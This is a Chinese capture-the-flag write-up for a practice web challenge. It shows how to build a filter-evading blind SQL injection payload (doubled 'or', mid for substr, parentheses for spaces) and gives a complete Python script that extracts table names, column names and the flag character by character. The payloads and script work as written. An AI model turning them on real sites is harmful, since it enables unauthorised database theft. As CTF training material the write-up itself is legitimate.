題目地址:http://ctf5.shiyanbar.com/web/earnest/index.php
過濾和攔截了某些東西,我經過多次嘗試,最終構造的是
1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)='1
其中過濾了一次or,所以information里的or要雙寫,substr中有逗號,所以mid代替,空格則用括號代替,/**/注釋符不行是因為服務器過濾了*
服務器的sql查詢當且僅當返回只一條數據時才回顯you are in
(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)
的值要么為假0,要么為真1,由此便可猜解
寫了個python腳本
(腳本中的爆破方法是一個個字符進行比對,其實為了提高效率可以寫二分法,簡便點就用這個方法,還有本來我的字符集只有字母數字下划線和逗號,但是猜解列名的時候發現不完整,所以手動判斷了下(id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from(3)))=36)='1&submit=),第三位是$這個字符,才在字符集里加了這個,遇見問題要靈活判斷,當然這也是因為我腳本寫的爛 /笑哭)
1 # -*- coding: utf-8 -*- 2 import requests 3 4 strall=" !~{}_,:$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 5 6 url='http://ctf5.shiyanbar.com/web/earnest/index.php' 7 8 headers={ 9 'Content-Type': 'application/x-www-form-urlencoded' 10 } 11 12 #fiag 13 def func1(): 14 result='' 15 for index in range(1,1000): 16 for i in strall: 17 data="id=1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from({})))={})='1&submit=".format(str(index),str(ord(i))) 18 print data 19 r=requests.post(url=url,data=data,headers=headers) 20 if r.text.find('You are in') >=0: 21 result+=i 22 print result 23 break 24 elif i=='9': 25 print result 26 return 27 28 #fL$4G 29 def func2(): 30 result='' 31 for index in range(1,1000): 32 for i in strall: 33 data="id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from({})))={})='1&submit=".format(str(index),str(ord(i))) 34 print data 35 r=requests.post(url=url,data=data,headers=headers) 36 if r.text.find('You are in') >=0: 37 result+=i 38 print result 39 break 40 elif i=='9': 41 print result 42 return 43 44 45 def func3(): 46 result='' 47 for index in range(1,1000): 48 for i in strall: 49 data="id=1'=(ascii(mid((select(group_concat(fL$4G))from(fiag))from({})))={})='1&submit=".format(str(index),str(ord(i))) 50 print data 51 r=requests.post(url=url,data=data,headers=headers) 52 if r.text.find('You are in') >=0: 53 result+=i 54 print result 55 break 56 elif i=='9': 57 print result 58 return 59 60 61 62 #func1() 63 #func2() 64 func3() 65 66 67 raw_input('done')
網站訪問速度慢點話,猜解這個是真的慢!!!
還是建議寫二分法!!!